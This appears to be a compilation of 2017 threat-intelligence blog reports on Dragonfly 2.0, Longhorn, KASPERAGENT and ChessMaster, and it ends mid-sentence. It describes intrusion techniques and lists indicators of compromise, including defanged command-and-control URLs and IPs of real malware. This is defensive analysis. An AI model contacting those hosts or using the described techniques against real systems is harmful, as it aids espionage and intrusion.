https://ccdcoe.org/multimedia/cyber-war-perspectiverussian-aggression-against-ukraine.html DETAILED ANALYSIS https://www.us-cert.gov/sites/default/files/publications/ JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf http://www.welivesecurity.com/2016/01/03/blackenergysshbeardoor-details-2015-attacks-ukrainian-news-mediaelectric-industry/ http://www.symantec.com/connect/blogs/destructivedisakil-malware-linked-ukraine-power-outages-also-usedagainst-media-organizations GRIZZLY STEPPE DHS BLACKHAT 2016 TALK Author: Geers Cyber War In Perspective Analysis From The Crisis In Ukraine Marina Krotofil at s4x17 Miam introducing the attack and the talk from Oleskii Yasinskiy: https://www.youtube.com/watch?v=lTwsDLO3C44 Oleskii Yasinskiy from http://www.issp.ua/ https://www.youtube.com/watch?v=3uPvps3l1Yc VSEVOLOD KOVALCHUK S FACEBOOK STATEMENT FOLLOWING THE SECOND ATTACK ICS-CERT ALERT (TA17-163A) CRASHOVERRIDE MALWARE https://www.us-cert.gov/ncas/alerts/TA17-163A THE COMPLETE ESET REPORT https://www.welivesecurity.com/2017/06/12/industroyerbiggest-threat-industrial-control-systems-since-stuxnet/ THE DRAGOS REPORT https://dragos.com/blog/crashoverride/CrashOverride-01.pdf Other sources are confidential. 66 Boulevard Niels Bohr timent CEI 1 CS 52132 69603 Cedex, Villeurbanne 09 70 75 34 80 www.sentryo.net @sentryo Dragonfly: Western energy sector targeted by sophisticated attack group symantec.com /connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group 9/5/2017 The energy sector in Europe and North America is being targeted by a new wave of cyber attacks that could provide attackers with the means to severely disrupt affected operations. The group behind these attacks is known as Dragonfly. The group has been in operation since at least 2011 but has re-emerged over the past two years from a quiet period following exposure by Symantec and a number of other researchers in 2014. This Dragonfly 2.0 campaign, which appears to have begun in late 2015, shares tactics and tools used in earlier campaigns by the group. The energy sector has become an area of increased interest to cyber attackers over the past two years. Most notably, disruptions to Ukraine s power system in 2015 and 2016 were attributed to a cyber attack and led to power outages affecting hundreds of thousands of people. In recent months, there have also been media reports of attempted attacks on the electricity grids in some European countries, as well as reports of companies that manage nuclear facilities in the U.S. being compromised by hackers. The Dragonfly group appears to be interested in both learning how energy facilities operate and also gaining access to operational systems themselves, to the extent that the group now potentially has the ability to sabotage or gain control of these systems should it decide to do so. Symantec customers are protected against the activities of the Dragonfly group. Figure 1. An outline of the Dragonfly group's activities in its most recent campaign Dragonfly 2.0 Symantec has evidence indicating that the Dragonfly 2.0 campaign has been underway since at least December 2015 and has identified a distinct increase in activity in 2017. Symantec has strong indications of attacker activity in organizations in the U.S., Turkey, and Switzerland, with traces of activity in organizations outside of these countries. The U.S. and Turkey were also among the countries targeted by Dragonfly in its earlier campaign, though the focus on organizations in Turkey does appear to have increased dramatically in this more recent campaign. As it did in its prior campaign between 2011 and 2014, Dragonfly 2.0 uses a variety of infection vectors in an effort to gain access to a victim s network, including malicious emails, watering hole attacks, and Trojanized software. The earliest activity identified by Symantec in this renewed campaign was a malicious email campaign that sent emails disguised as an invitation to a New Year s Eve party to targets in the energy sector in December 2015. The group conducted further targeted malicious email campaigns during 2016 and into 2017. The emails contained very specific content related to the energy sector, as well as some related to general business concerns. Once opened, the attached malicious document would attempt to leak victims network credentials to a server outside of the targeted organization. In July, Cisco blogged about email-based attacks targeting the energy sector using a toolkit called Phishery. Some of the emails sent in 2017 that were observed by Symantec were also using the Phishery toolkit (Trojan.Phisherly), to steal victims credentials via a template injection attack. This toolkit became generally available on GitHub in late 2016, As well as sending malicious emails, the attackers also used watering hole attacks to harvest network credentials, by compromising websites that were likely to be visited by those involved in the energy sector. The stolen credentials were then used in follow-up attacks against the target organizations. In one instance, after a victim visited one of the compromised servers, Backdoor.Goodor was installed on their machine via PowerShell 11 days later. Backdoor.Goodor provides the attackers with remote access to the victim s machine. In 2014, Symantec observed the Dragonfly group compromise legitimate software in order to deliver malware to victims, a practice also employed in the earlier 2011 campaigns. In the 2016 and 2017 campaigns the group is using the evasion framework Shellter in order to develop Trojanized applications. In particular, Backdoor.Dorshel was delivered as a trojanized version of standard Windows applications. Symantec also has evidence to suggest that files masquerading as Flash updates may be used to install malicious backdoors onto target networks perhaps by using social engineering to convince a victim they needed to download an update for their Flash player. Shortly after visiting specific URLs, a file named install_flash_player.exe was seen on victim computers, followed shortly by the Trojan.Karagany.B backdoor. Typically, the attackers will install one or two backdoors onto victim computers to give them remote access and allow them to install additional tools if necessary. Goodor, Karagany.B, and Dorshel are examples of backdoors used, along with Trojan.Heriplor. Western energy sector at risk from ongoing cyber attacks, with potential for sabotage #dragonfly Strong links with earlier campaigns There are a number of indicators linking recent activity with earlier Dragonfly campaigns. In particular, the Heriplor and Karagany Trojans used in Dragonfly 2.0 were both also used in the earlier Dragonfly campaigns between 2011 and 2014. Trojan.Heriplor is a backdoor that appears to be exclusively used by Dragonfly, and is one of the strongest indications that the group that targeted the western energy sector between 2011 and 2014 is the same group that is behind the more recent attacks. This custom malware is not available on the black market, and has not been observed being used by any other known attack groups. It has only ever been seen being used in attacks against targets in the energy sector. Trojan.Karagany.B is an evolution of Trojan.Karagany, which was previously used by Dragonfly, and there are similarities in the commands, encryption, and code routines used by the two Trojans. Trojan.Karagny.B doesn appear to be widely available, and has been consistently observed being used in attacks against the energy sector. However, the earlier Trojan.Karagany was leaked on underground markets, so its use by Dragonfly is not necessarily exclusive. Feature Dragonfly (2013-2014) Dragonfly 2.0 (2015-2017) Link strength Backdoor.Oldrea None Trojan.Heriplor (Oldrea stage II) Strong Trojan.Karagany Yes (Trojan.Karagany.B) Medium-Strong Trojan.Listrix (Karagany stage II) Medium-Strong Western energy sector targeted Yes Medium Strategic website compromises Weak Phishing emails Weak Trojanized applications Weak Figure 2. Links between current and earlier Dragonfly cyber attack campaigns Potential for sabotage Sabotage attacks are typically preceded by an intelligence-gathering phase where attackers collect information about target networks and systems and acquire credentials that will be used in later campaigns. The most notable examples of this are Stuxnet and Shamoon, where previously stolen credentials were subsequently used to administer their destructive payloads. The original Dragonfly campaigns now appear to have been a more exploratory phase where the attackers were simply trying to gain access to the networks of targeted organizations. The Dragonfly 2.0 campaigns show how the attackers may be entering into a new phase, with recent campaigns potentially providing them with access to operational systems, access that could be used for more disruptive purposes in future. The most concerning evidence of this is in their use of screen captures. In one particular instance the attackers used a clear format for naming the screen capture files, [machine description and location].[organization name]. The string cntrl (control) is used in many of the machine descriptions, possibly indicating that these machines have access to operational systems. Numerous organizations breached in six-year campaign against the energy sector #dragonfly Clues or false flags? While Symantec cannot definitively determine Dragonfly s origins, this is clearly an accomplished attack group. It is capable of compromising targeted organizations through a variety of methods; can steal credentials to traverse targeted networks; and has a range of malware tools available to it, some of which appear to have been custom developed. Dragonfly is a highly focused group, carrying out targeted attacks on energy sector targets since at least 2011, with a renewed ramping up of activity observed in the last year. Some of the group s activity appears to be aimed at making it more difficult to determine who precisely is behind it: The attackers used more generally available malware and living off the land tools, such as administration tools like PowerShell, PsExec, and Bitsadmin, which may be part of a strategy to make attribution more difficult. The Phishery toolkit became available on Github in 2016, and a tool used by the group Screenutil also appears to use some code from CodeProject. The attackers also did not use any zero days. As with the group s use of publicly available tools, this could be an attempt to deliberately thwart attribution, or it could indicate a lack of resources. Some code strings in the malware were in Russian. However, some were also in French, which indicates that one of these languages may be a false flag. Conflicting evidence and what appear to be attempts at misattribution make it difficult to definitively state where this attack group is based or who is behind it. What is clear is that Dragonfly is a highly experienced threat actor, capable of compromising numerous organizations, stealing information, and gaining access to key systems. What it plans to do with all this intelligence has yet to become clear, but its capabilities do extend to materially disrupting targeted organizations should it choose to do so. Protection Symantec customers are protected against Dragonfly activity, Symantec has also made efforts to notify identified targets of recent Dragonfly activity. Symantec has the following specific detections in place for the threats called out in this blog: Symantec has also developed a list of Indicators of Compromise to assist in identifying Dragonfly activity: Family Command & Control Backdoor.Dorshel b3b5d67f5bbf5a043f5bf5d079dbcb56 hxxp://103.41.177.69/A56WY Trojan.Karagany.B 1560f68403c5a41e96b28d3f882de7f1 hxxp://37.1.202.26/getimage/622622.jpg Trojan.Heriplor e02603178c8c47d198f7d34bcf2d68b8 Trojan.Listrix da9d8c78efe0c6c8be70e6b857400fb1 Hacktool.Credrix a4cf567f27f3b2f8b73ae15e2e487f00 Backdoor.Goodor 765fcd7588b1d94008975c4627c8feb6 Trojan.Phisherly 141e78d16456a072c9697454fc6d5f58 Screenutil db07e1740152e09610ea826655d27e8d 184.154.150.66 Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have previously received reporting on the Dragonfly 2.0 group, which included methods of detecting and thwarting the activities of this adversary. Best Practices Dragonfly relies heavily on stolen credentials to compromise a network. Important passwords, such as those with high privileges, should be at least 8-10 characters long (and preferably longer) and include a mixture of letters and numbers. Encourage users to avoid reusing the same passwords on multiple websites and sharing passwords with others should be forbidden. Delete unused credentials and profiles and limit the number of administrative-level profiles created. Employ two-factor authentication (such as Symantec VIP) to provide an additional layer of security, preventing any stolen credentials from being used by attackers. Emphasize multiple, overlapping, and mutually supportive defensive systems to guard against single point failures in any specific technology or protection method. This should include the deployment of regularly updated firewalls as well as gateway antivirus, intrusion detection or protection systems (IPS), website vulnerability with malware protection, and web security gateway solutions throughout the network. Implement and enforce a security policy whereby any sensitive data is encrypted at rest and in transit. Ensure that customer data is encrypted as well. This can help mitigate the damage of potential data leaks from within an organization. Implement SMB egress traffic filtering on perimeter devices to prevent SMB traffic leaving your network onto the internet. Educate employees on the dangers posed by spear-phishing emails, including exercising caution around emails from unfamiliar sources and opening attachments that haven t been solicited. A full protection stack helps to defend against emailed threats, including Symantec Email Security.cloud, which can block emailborne threats, and Symantec Endpoint Protection, which can block malware on the endpoint. Symantec Messaging Gateway s Disarm technology can also protect computers from threats by removing malicious content from attached documents before they even reach the user. Understanding the tools, techniques, and procedures (TTP) of adversaries through services like DeepSight Adversary Intelligence fuels effective defense from advanced adversaries like Dragonfly 2.0. Beyond technical understanding of the group, strategic intelligence that informs the motivation, capability, and likely next moves of the adversaries ensures more timely and effective decisions in proactively safeguarding your environment from these threats. Tags: Security, Endpoint Protection, Endpoint Protection Cloud, Security Response, Dragonfly, energy sector, sabotage, Switzerland, targeted attacks, Turkey, U.S. Longhorn: Tools used by cyberespionage group linked to Vault 7 symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7 April 9, 2017 First evidence linking Vault 7 tools to known cyberattacks. By: Symantec Security ResponseSymantec Employee Created 10 Apr 2017 Spying tools and operational protocols detailed in the recent Vault 7 leak have been used in cyberattacks against at least 40 targets in 16 different countries by a group Symantec calls Longhorn. Symantec has been protecting its customers from Longhorn s tools for the past three years and has continued to track the group in order to learn more about its tools, tactics, and procedures. The tools used by Longhorn closely follow development timelines and technical specifications laid out in documents disclosed by WikiLeaks. The Longhorn group shares some of the same cryptographic protocols specified in the Vault 7 documents, in addition to following leaked guidelines on tactics to avoid detection. Given the close similarities between the tools and techniques, there can be little doubt that Longhorn's activities and the Vault 7 documents are the work of the same group. Who is Longhorn? Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. #Vault7 linked #Longhorn group infiltrated governments, international orgs, other targets The link to Vault 7 A number of documents disclosed by WikiLeaks outline specifications and requirements for malware tools. One document is a development timeline for a piece of malware called Fluxwire, containing a changelog of dates for when new features were incorporated. These dates align closely with the development of one Longhorn tool (Trojan.Corentry) tracked by Symantec. New features in Corentry consistently appeared in samples obtained by Symantec either on the same date listed in the Vault 7 document or several days later, leaving little doubt that Corentry is the malware described in the leaked document. Early versions of Corentry seen by Symantec contained a reference to the file path for the Fluxwire program database (PDB) file. The Vault 7 document lists removal of the full path for the PDB as one of the changes implemented in Version 3.5.0. Up until 2014, versions of Corentry were compiled using GCC. According to the Vault 7 document, Fluxwire switched to a MSVC compiler for version 3.3.0 on February 25, 2015. This was reflected in samples of Corentry, where a version compiled on February 25, 2015 had used MSVC as a compiler. Date/time of sample compilation Embedded Corentry version number Corentry compiler e20d5255d8ab1ff5f157847d2f3ffb25 23/08/2013 10:20 5df76f1ad59e019e52862585d27f1de2 Vault 7 changelog number Vault 7 changelog date 2.1.0 2.4.1 Jan 12, 2011 - Feb 28, 2013 3.0.0 3.0.0 Aug 23, 2013 21/02/2014 11:07 3.1.0 3.1.0 Feb 20, 2014 318d8b61d642274dd0513c293e535b38 15/05/2014 09:01 3.1.1 3.1.1 May 14, 2014 3.2.0 Jul 15, 2014 511a473e26e7f10947561ded8f73ffd0 03/09/2014 00:12 3.2.1 3.2.1 Aug 18, 2014 c06d422656ca69827f63802667723932 25/02/2015 16:50 MSVC 3.3.0 Feb 25, 2015 3.3.1 -> 3.5.0 May 17, 2015 -> Nov 13, 2015 Corentry sample (MD5 hash) Table. Corentry version numbers and compilation dates compared to Fluxwire version numbers and changelog dates disclosed in Vault 7 A second Vault 7 document details Fire and Forget, a specification for user-mode injection of a payload by a tool called Archangel. The specification of the payload and the interface used to load it was closely matched in another Longhorn tool called Backdoor.Plexor. A third document outlines cryptographic protocols that malware tools should follow. These include the use of inner cryptography within SSL to prevent man-in-the-middle (MITM) attacks, key exchange once per connection, and use of AES with a 32-byte key. These requirements align with the cryptographic practices observed by Symantec in all of the Longhorn tools. Other Vault 7 documents outline tradecraft practices to be used, such as use of the Real-time Transport Protocol (RTP) as a means of command and control (C&C) communications, employing wipe-on-use as standard practice, in-memory string de-obfuscation, using a unique deployment-time key for string obfuscation, and the use of secure erase protocols involving renaming and overwriting. Symantec has observed Longhorn tools following all of these practices. While other malware families are known to use some of these practices, the fact that so many of them are followed by Longhorn makes it noteworthy. Global reach: Longhorn s operations While active since at least 2011, with some evidence of activity dating back as far as 2007, Longhorn first came to Symantec s attention in 2014 with the use of a zero-day exploit (CVE2014-4148) embedded in a Word document to infect a target with Plexor. The malware had all the hallmarks of a sophisticated cyberespionage group. Aside from access to zero-day exploits, the group had preconfigured Plexor with elements that indicated prior knowledge of the target environment. To date, Symantec has found evidence of Longhorn activities against 40 targets spread across 16 different countries. Symantec has seen Longhorn use four different malware tools against its targets: Corentry, Plexor, Backdoor.Trojan.LH1, and Backdoor.Trojan.LH2. Before deploying malware to a target, the Longhorn group will preconfigure it with what appears to be target-specific code words and distinct C&C domains and IP addresses for communications back to the attackers. Longhorn tools have embedded capitalized code words, internally referenced as groupid and siteid , which may be used to identify campaigns and victims. Over 40 of these identifiers have been observed, and typically follow the theme of movies, characters, food, or music. One example was a nod to the band The Police, with the code words REDLIGHT and ROXANNE used. Longhorn s malware has an extensive list of commands for remote control of the infected computer. Most of the malware can also be customized with additional plugins and modules, some of which have been observed by Symantec. Longhorn s malware appears to be specifically built for espionage-type operations, with detailed system fingerprinting, discovery, and exfiltration capabilities. The malware uses a high degree of operational security, communicating externally at only select times, with upload limits on exfiltrated data, and randomization of communication intervals all attempts to stay under the radar during intrusions. For C&C servers, Longhorn typically configures a specific domain and IP address combination per target. The domains appear to be registered by the attackers; however they use privacy services to hide their real identity. The IP addresses are typically owned by legitimate companies offering virtual private server (VPS) or webhosting services. The malware communicates with C&C servers over HTTPS using a custom underlying cryptographic protocol to protect communications from identification. Prior to the Vault 7 leak, Symantec s assessment of Longhorn was that it was a well-resourced organization which was involved in intelligence gathering operations. This assessment was based on its global range of targets and access to a range of comprehensively developed malware and zero-day exploits. The group appeared to work a standard Monday to Friday working week, based on timestamps and domain name registration dates, behavior which is consistent with state-sponsored groups. Symantec s analysis uncovered a number of indicators that Longhorn was from an Englishspeaking, North American country. The acronym MTWRFSU (Monday Tuesday Wednesday ThuRsday Friday Saturday SUnday) was used to configure which day of the week malware would communicate with the attackers. This acronym is common in academic calendars in North America. Some of the code words found in the malware, such as SCOOBYSNACK, would be most familiar in North America. In addition to this, the compilation times of tools with reliable timestamps indicate a time zone in the Americas. Distinctive fingerprints Longhorn has used advanced malware tools and zero-day vulnerabilities to infiltrate a string of targets worldwide. Taken in combination, the tools, techniques, and procedures employed by Longhorn are distinctive and unique to this group, leaving little doubt about its link to Vault 7. Throughout its investigation of Longhorn, Symantec s priority has been protection of its customers. Through identifying different strains of Longhorn malware, connecting them to a single actor, and learning more about the group s tactics and procedures, Symantec has been able to better defend customer organizations against this and similar threats. In publishing this new information, Symantec s goal remains unchanged: to reassure customers that it is aware of this threat and actively working to protect them from it. Protection Symantec and Norton products have been protecting against Longhorn malware for a number of years with the following detections: Tags: Products, Endpoint Protection, Endpoint Protection Cloud, Security Response, AIT, APT, Backdoor.Plexor, , , Investigation, Longhorn, Trojan.Corentry, Vault 7 KASPERAGENT Malware Campaign resurfaces in May Election threatconnect.com /blog/kasperagent-malware-campaign/ 6/14/2017 KASPERAGENT Malware Campaign resurfaces in the run up to May Palestinian Authority Elections ThreatConnect has identified a KASPERAGENT malware campaign leveraging decoy Palestinian Authority documents. The samples date from April - May 2017, coinciding with the run up to the May 2017 Palestinian Authority elections. Although we do not know who is behind the campaign, the decoy documents content focuses on timely political issues in Gaza and the IP address hosting the campaign s command and control node hosts several other domains with Gaza registrants. In this blog post we will detail our analysis of the malware and associated indicators, look closely at the decoy files, and leverage available information to make an educated guess on the possible intended target. Associated indicators and screenshots of the decoy documents are all available here in the ThreatConnect platform. Some of the indicators in the following post were published on AlienVault OTX on 6/13. Background on KASPERAGENT KASPERAGENT is Microsoft Windows malware used in efforts targeting users in the United States, Israel, Palestinian Territories, and Egypt since July 2015. The malware was discovered by Palo Alto Networks Unit 42 and ClearSky Cyber Security, and publicized in April 2017 in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog. It is called KASPERAGENT based on PDB strings identified in the malware such as c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper\Release\kasper.pdb. The threat actors used shortened URLs in spear phishing messages and fake news websites to direct targets to download KASPERAGENT. Upon execution, KASPERAGENT drops the payload and a decoy document that displays Arabic names and ID numbers. The malware establishes persistence and sends HTTP requests to the command and control domain mailsinfo[.]net. Of note, the callbacks were to PHP scripts that included /dad5/ in the URLs. Most samples of the malware reportedly function as a basic reconnaissance tool and downloader. However, some of the recently identified files display extended-capability including the functionality to steal passwords, take screenshots, log keystrokes, and steal files. These extended-capability samples called out to an additional command and control domain, stikerscloud[.]com. Additionally, early variants of KASPERAGENT used Chrome the user agent, while more recent samples use OPAERA - a possible misspelling of the Opera - browser. The indicators associated with the blog article are available in the ThreatConnect Technical Blogs and Reports source here. The samples we identified leverage the same user agent string OPAERA , included the kasper PDB string reported by Unit 42, and used similar POST and GET requests. The command and control domains were different, and these samples used unique decoy documents to target their victims. Identifying another KASPERAGENT campaign We didn t start out looking for KASPERAGENT, but a file hit on one of our YARA rules for an executable designed to display a fake XLS icon - one way adversaries attempt to trick targets into thinking a malicious file is innocuous. The first malicious sample we identified (6843AE9EAC03F69DF301D024BFDEFC88) had the file name testproj.exe and was identified within an archive file (4FE7561F63A71CA73C26CB95B28EAEE8) with the name .r24 . This translates to The Complete Details of Fuqaha's Assassination , a reference to Hamas military leader Mazen Fuqaha who was assassinated on March 24, 2017. We detonated the file in VxStream s automated malware analysis capability and found testproj.exe dropped a benign Microsoft Word document that pulls a jpg file from treestower[.]com. Malwr.com observed this site in association with another sample that called out to mailsinfo[.]net - a host identified in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog. That was our first hint that we were looking at KASPERAGENT. The jpg pulled from treestower[.]com displays a graphic picture of a dead man, which also appeared on a Palestinian news website discussing the death of Hamas military leader Mazen Fuqaha. A separate malicious executable - 2DE25306A58D8A5B6CBE8D5E2FC5F3C5 (vlc.exe) - runs when the photograph is displayed, using the YouTube icon and calling out to several URLs on windowsnewupdates[.]com. This host was registered in late March and appears to be unique to this campaign. With our interest piqued, we pivoted on the import hashes (also known as an imphash), which captures the import table of a given file. Shared import hashes across multiple files would likely identify files that are part of the same malware family. We found nine additional samples sharing the imphash values for the two executables, C66F88D2D76D79210D568D7AD7896B45 and DCF3AA484253068D8833C7C5B019B07. Import Hash Results c66f88d2d76d79210d568d7ad7896b45 Import Hash Results dcf3aa484253068d8833c7c5b019b07a Analysis of those files uncovered two more imphashes, 0B4E44256788783634A2B1DADF4F9784 and E44F0BD2ADFB9CBCABCAD314D27ACCFC, for a total of 20 malicious files. These additional samples behaved similarly to the initial files; testproj.exe dropped benign decoy files and started malicious executables. The malicious executables all called out to the same URLs on windowsnewupdates[.]com. These malware samples leverage the user agent string OPAERA, the same one identified in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog. Although the command and control domain was different from those in the report, the POST and GET requests were similar and included /dad5/ in the URL string. In addition, the malware samples included the kasper PDB string reported by Unit 42, prompting us to conclude that we were likely looking at new variants of KASPERAGENT. The Decoy Files Several of the decoy files appeared to be official documents associated with the Palestinian Authority - the body that governs the Palestinian Territories in the Middle East. We do not know whether the files are legitimate Palestinian Authority documents, but they are designed to look official. Additionally, most of the decoy files are publicly available on news websites or social media. The first document - dated April 10, 2017 - is marked Very Secret and addressed to Yahya Al-Sinwar, who Hamas elected as its leader in Gaza in February 2017. Like the photo displayed in the first decoy file we found, this document references the death of Mazen Fuqaha. The Arabic-language text and English translation of the document are available in ThreatConnect here. A screenshot of the file is depicted below. The second legible file, dated April 23, has the same letterhead and also is addressed to Yahya al-Sinwar. This file discusses the supposed announcement banning the rival Fatah political party, which controls the West Bank, from Gaza. It mentions closing the Fatah headquarters and houses that were identified as meeting places as well as the arrest of some members of the party. Looking at the Infrastructure We don t know for sure who is responsible for this campaign, but digging into the passive DNS results led us to some breadcrumbs. Starting with 195.154.110[.]237, the IP address which is hosting the command and control domain windowsnewupdates[.]com, we found that the host is on a dedicated server. ThreatConnect DomainTools Integration Results Using our Farsight DNSDB integration, we identified other domains currently and previously hosted on the same IP. Reverse DNS and Passive DNS results for 195.154.110[.]237 Two of the four domains that have been hosted at this IP since 2016 -- upfile2box[.]com and 7aga[.]net -- were registered by a freelance web developer in Gaza, Palestine. This IP has been used to host a small number of domains, some of which were registered by the same actor, suggesting the IP is dedicated for a single individual or group s use. While not conclusive, it is intriguing that the same IP was observed hosting a domain ostensibly registered in Gaza AND the command and control domain associated with a series of targeted attacks leveraging Palestinian Authority-themed decoy documents referencing Gaza. Targeting Focus? Just like we can t make a definitive determination as to who conducted this campaign, we do not know for sure who it was intended to target. What we do know is that several of the malicious files were submitted to a public malware analysis site from the Palestinian Territories. This tells us that it is possible either the threat actors or at least one of the targets is located in that area. Additionally, as previously mentioned, the decoy document subject matter would likely be of interest to a few different potential targets in the Palestinian Territories. Potential targets such as Hamas who controls the Gaza strip and counts Mazen Fuqaha and Yahya al-Sinwar as members, Israel which is accused of involvement in the assassination of Mazen Fuqaha, and the Fatah party of which the Prime Minister and President of the Palestinian Authority are members. The campaign corresponds with a period of heightened tension in Gaza. Hamas, who has historically maintained control over the strip, elected Yahya al-Sinwar - a hardliner from its military wing - as its leader in February. A Humanitarian Bulletin published by the United Nations Office for the Coordination of Humanitarian Affairs indicates in March 2017 (just before the first malware samples associated with this campaign were identified in early April) Hamas created a parallel institution to run local ministries in Gaza, further straining the relationship between Hamas and the Palestinian Authority who governs the West Bank. After this announcement, the Palestinian Authority cut salaries for its employees in Gaza by 30 percent and informed Israel that it would no longer pay for electricity provided to Gaza causing blackouts throughout the area and escalating tensions between the rival groups. Then, in early May (two days after the last malware sample was submitted) the Palestinian Authority held local elections in the West Bank which were reportedly seen as a test for the Fatah party. Elections were not held in Gaza. All of that is to say, the decoy documents leveraged in this campaign would likely be relevant and of interest to a variety of targets in Israel and Palestine, consistent with previously identified KASPERAGENT targeting patterns. Additionally, the use of what appear to be carefully crafted documents at the very least designed to look like official government correspondence suggests the malware may have been intended for a government employee or contractor who would be interested in the documents subject matter. More associated indicators, screenshots of many of the decoy documents, and descriptions of the activity are available via the March - May 2017 Kasperagent Malware Leveraging WindowsNewUpdates[.]com Campaign in ThreatConnect. ChessMaster Makes its Move: A Look into the Campaign Cyberespionage Arsenal blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/ Trend Micro July 27, 2017 by Benson Sy, CH Lei, and Kawabata Kohei From gathering intelligence, using the right social engineering lures, and exploiting vulnerabilities to laterally moving within the network, targeted attacks have multifarious tools at their disposal. And like in a game of chess, they are the set pieces that make up their modus operandi. Take for instance the self-named ChessMaster, a campaign targeting Japanese academe, technology enterprises, media outfits, managed service providers, and government agencies. It employs various poisoned pawns in the form of malware-laden spear-phishing emails containing decoy documents. And beyond ChessMaster s endgame and pawns, we also found red flags that allude to its links to APT 10, also known as menuPass, POTASSIUM, Stone Panda, Red Apollo, and CVNX. ChessMaster s name is from pieces of chess/checkers/draughts we found in the resource section of the main backdoor they use against their targets: ChChes, which Trend Micro detects as BKDR_CHCHES. What makes the campaign unique is its arsenal of tools and techniques: Malicious shortcut (LNK) files and PowerShell. The LNK files execute Command Prompt that downloads a PowerShell script, which would either directly drop or reflectively load ChChes into the machine. The latter method makes ChChes a fileless malware. Self-extracting archive (SFX). An archive that drops an executable (EXE), a dynamiclink library (DLL), and a binary file (.BIN). Upon their extraction, malicious code is injected into the process of a legitimate file/application (DLL hijacking). ChessMaster takes it up a notch via load-time dynamic linking to trigger the malicious DLL s function. Runtime packers. Throughout its campaign, ChChes used three packers to obfuscate itself and avoid detection. The first had no encryption and a varied loader code. The second had a buggy (or anti-emulation) exclusive OR (XOR) encryption technique. The third added an AES algorithm on top of XOR encryption. Their compile dates overlap, which indicates ChChes authors take cues and fine-tune their malware. Second-stage payloads. Additional malware are introduced to the infected system for persistence. These are actually variants of ChChes that use similar entry points but different and encrypted C&C communication. Hacking Tools. ChessMaster draws on legitimate email and browser password recovery and dumping tools they ve misused and modified for their campaign. These can restore forgotten passwords, which are then dumped and retrieved. Lateral movement and further attacks can be worked out from here. TinyX. A version of PlugX sans the plug-in functionality that allows it to adopt new capabilities. TinyX is bundled separately in spear-phishing emails. RedLeaves. A second-stage backdoor that operates like the open-source and fileless remote access Trojan (RAT) Trochilus, which is known for enabling lateral movement in the infected systems. RedLeaves adopted capabilities from PlugX. In April, a RedLeaves variant named himawari (Japanese for sunflower) emerged capable of evading YARA rules released during that time. ChessMaster and APT 10 Plays the Same Cyberespionage Game APT 10/menuPass is a cyberespionage group whose specific campaign, Operation Cloud Hopper, attacked the intermediaries of their targets of interest managed service providers (MSPs). Its notoriety stems from their prolific use of multifarious information-stealing backdoors and vulnerability exploits, along with the tenacity of its subterfuges, from spear-phishing emails to attack and infection chains. It also abused legitimate or open-source remote administration tools to steal data. If that sounded familiar, it s because ChessMaster and APT 10 appear to be playing the same cyberespionage game. Here s a further illustration: Figure 1: Similarities in ChessMaster and APT 10 s attack chain We first saw ChChes set its sights on an organization that s long been a target of APT 10/menuPass. As we caught and delved into more ChChes samples in the wild, however, we also saw how they followed the same pattern exclusive packers, mutual targets, overlapping C&C infrastructure. ChChes packer, for instance, resembled the one used in menuPass old PlugX samples. DNS records also showed that some of their command and control (C&C) servers and domains resolved to the same IP address, or resided in the same subnet. Are they operated by the same actors? Their commonalities make it appear so. It s also known to happen; BlackTech cyberespionage campaigns are a case in point. Figure 2: Comparison of Emdivi and ChChes ChessMaster s ChChes also resembles another backdoor, Emdivi, which first made waves in 2014. They have the same endgame. Both are second-stage payloads that use the system Security Identifier (SID) as encryption key so they execute only in their target s machine. Their difference lies in complexity ChChes hides part of the decryption key and payload in registry keys to make it harder to reverse engineer. But that s just one dot in several we ve connected. In one instance, we detected PlugX and Emdivi on the same machine. This PlugX variant connected to an APT 10/menuPass-owned domain, but the packer is similar to that used by ChChes. While it s possible it was hit by two different campaigns, further analysis told a different story. Both were compiled on the same date, only several hours apart. We detected and acquired the samples the next day, which means both backdoors were delivered to the victim a day after they were compiled. Figure 3: Overview of the overlaps in ChessMaster and APT 10 s campaigns Take Control of the Center Ultimately attacks like ChessMaster s make pawns out of the systems, networks, devices and their users, all of which hold the organization s crown jewels. This is why enterprises need to be steps ahead of the game: prepare, respond, restore, and learn. Plan ahead what techniques will attackers use? How can I defend against them? Don t just pull the plug understand what happened to better assess and mitigate the damage. Fine-tune your response what worked, what didn t, and what could ve been done better? Defense in depth plays a crucial role especially for the IT/system administrators and information security professionals that watch over them. The network, endpoints, servers, mobile devices, and web/email gateways are the bishops, knights, and rooks that underpin the enterprise s crown jewels, which is why securing them is important. Reduce their attack surface. Keep the systems updated and regularly patched, and enforce the principle of least privilege. Employ behavior monitoring and application control. Deploy firewalls as well intrusion detection and prevention systems. Implement URL categorization, network segmentation, and data categorization. ChessMaster s gambit is spear-phishing, so it s especially important to filter and safeguard the email gateway. Additionally, foster a cybersecurity-aware workforce. Seemingly benign icons or decoy documents can still swindle the victim, for instance. More importantly, develop proactive incident response and remediation strategies threat intelligence helps enterprises prepare and mitigate attacks. Like in chess, the more you understand your enemy s moves, the more successful you can be at thwarting them. The Indicators of Compromise (IoCs) related to ChessMaster s campaigns is in this appendix. This has been presented in the RSA Conference 2017 Asia Pacific & Japan as ChessMaster: A New Campaign Targeting Japan Using the New ChChes Backdoor on July 27, 2017, in Marina Bay Sands, Singapore. Updated on August 14, 2017, 11:50 PM to include IoCs related to ChessMaster. ChessMaster s New Strategy: Evolving Tools and Tactics blog.trendmicro.com/trendlabs-security-intelligence/chessmasters-new-strategy-evolving-tools-tactics/ Trend Micro November 6, 2017 by MingYen Hsieh, CH Lei, and Kawabata Kohei A few months ago, we 